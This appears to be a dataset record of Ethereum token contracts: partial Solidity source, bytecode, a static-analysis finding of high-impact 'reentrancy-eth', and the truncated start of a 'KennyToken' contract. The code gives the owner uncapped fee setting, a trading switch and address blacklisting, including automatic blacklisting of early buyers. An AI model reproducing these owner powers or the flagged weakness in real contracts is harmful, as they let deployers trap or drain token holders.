IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192a565b6105c6565b005b34801561020a57600080fd5b5060408051808201825260058152644e4546544960d81b6020820152905161023291906119ef565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a44565b610665565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50670de0b6b3a76400005b604051908152602001610232565b3480156102d457600080fd5b5061025b6102e3366004611a70565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610232565b34801561032657600080fd5b5060155461028b906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611ab1565b6106e5565b34801561036657600080fd5b506101fc610375366004611ade565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa366004611ab1565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611af9565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611ab1565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028b565b34801561045157600080fd5b506101fc610460366004611ade565b610888565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611af9565b6108d0565b3480156104a757600080fd5b506101fc6104b6366004611b12565b6108ff565b3480156104c757600080fd5b5061025b6104d6366004611a44565b61093d565b3480156104e757600080fd5b5061025b6104f6366004611ab1565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc61094a565b34801561052c57600080fd5b506101fc61053b366004611b44565b61099e565b34801561054c57600080fd5b506102ba61055b366004611bc8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611af9565b610a3f565b3480156105b257600080fd5b506101fc6105c1366004611ab1565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611c01565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611c36565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611c62565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611d7c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611c01565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611c01565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b0381166000908152600260205260408120546106769061122c565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611c01565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611c01565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611c01565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611c01565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611c01565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112b0565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611c01565b60005b82811015610a395781600560008686858181106109ea576109ea611c36565b90506020020160208101906109ff9190611ab1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611c62565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611c01565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611c01565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611c7d565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112b0565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a3984848484611439565b600081848411156111dc5760405162461bcd60e51b81526004016105f091906119ef565b5060006111e98486611c95565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b600061129d611467565b90506112a9838261148a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f8576112f8611c36565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134c57600080fd5b505afa158015611360573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113849190611cac565b8160018151811061139757611397611c36565b6001600160a01b0392831660209182029290920101526014546113bd9130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f6908590600090869030904290600401611cc9565b600060405180830381600087803b15801561141057600080fd5b505af1158015611424573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611446576114466114cc565b6114518484846114fa565b80610a3957610a39600e54600c55600f54600d55565b60008060006114746115f1565b9092509050611483828261148a565b9250505090565b60006112a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611631565b600c541580156114dc5750600d54155b156114e357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150c8761165f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153e90876116bc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156d90866116fe565b6001600160a01b03891660009081526002602052604090205561158f8161175d565b61159984836117a7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115de91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160c828261148a565b82101561162857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116525760405162461bcd60e51b81526004016105f091906119ef565b5060006111e98486611d3a565b600080600080600080600080600061167c8a600c54600d546117cb565b925092509250600061168c611467565b9050600080600061169f8e878787611820565b919e509c509a509598509396509194505050505091939550919395565b60006112a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b60008061170b8385611c7d565b9050838110156112a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b6000611767611467565b905060006117758383611870565b3060009081526002602052604090205490915061179290826116fe565b30600090815260026020526040902055505050565b6006546117b490836116bc565b6006556007546117c490826116fe565b6007555050565b60008080806117e560646117df8989611870565b9061148a565b905060006117f860646117df8a89611870565b905060006118108261180a8b866116bc565b906116bc565b9992985090965090945050505050565b600080808061182f8886611870565b9050600061183d8887611870565b9050600061184b8888611870565b9050600061185d8261180a86866116bc565b939b939a50919850919650505050505050565b60008261187f57506000610676565b600061188b8385611d5c565b9050826118988583611d3a565b146112a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b803561192581611905565b919050565b6000602080838503121561193d57600080fd5b823567ffffffffffffffff8082111561195557600080fd5b818501915085601f83011261196957600080fd5b81358181111561197b5761197b6118ef565b8060051b604051601f19603f830116810181811085821117156119a0576119a06118ef565b6040529182528482019250838101850191888311156119be57600080fd5b938501935b828510156119e3576119d48561191a565b845293850193928501926119c3565b98975050505050505050565b600060208083528351808285015260005b81811015611a1c57858101830151858201604001528201611a00565b81811115611a2e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5757600080fd5b8235611a6281611905565b946020939093013593505050565b600080600060608486031215611a8557600080fd5b8335611a9081611905565b92506020840135611aa081611905565b929592945050506040919091013590565b600060208284031215611ac357600080fd5b81356112a981611905565b8035801515811461192557600080fd5b600060208284031215611af057600080fd5b6112a982611ace565b600060208284031215611b0b57600080fd5b5035919050565b60008060008060808587031215611b2857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5957600080fd5b833567ffffffffffffffff80821115611b7157600080fd5b818601915086601f830112611b8557600080fd5b813581811115611b9457600080fd5b8760208260051b8501011115611ba957600080fd5b602092830195509350611bbf9186019050611ace565b90509250925092565b60008060408385031215611bdb57600080fd5b8235611be681611905565b91506020830135611bf681611905565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7657611c76611c4c565b5060010190565b60008219821115611c9057611c90611c4c565b500190565b600082821015611ca757611ca7611c4c565b500390565b600060208284031215611cbe57600080fd5b81516112a981611905565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d195784516001600160a01b031683529383019391830191600101611cf4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7657611d76611c4c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c56a7ce1c37d680605d5f52c9c1f16f67bcd7ed80e35ea922ec71160c0f0a87764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,177 |
0xa01953de31bd90aba95d2dc9390419b8f01b408a
|
/**
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KennyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KENNY";//
string private constant _symbol = "KENNY";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 21;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x0c3F1fbc75e49cDe1487191BBAbAF264dF87F2c7);//
address payable private _marketingAddress = payable(0xD9000FD9A34828cEBBca032C026875D8e2b594eC);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 9000000000 * 10**9; //
uint256 public _maxWalletSize = 15000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
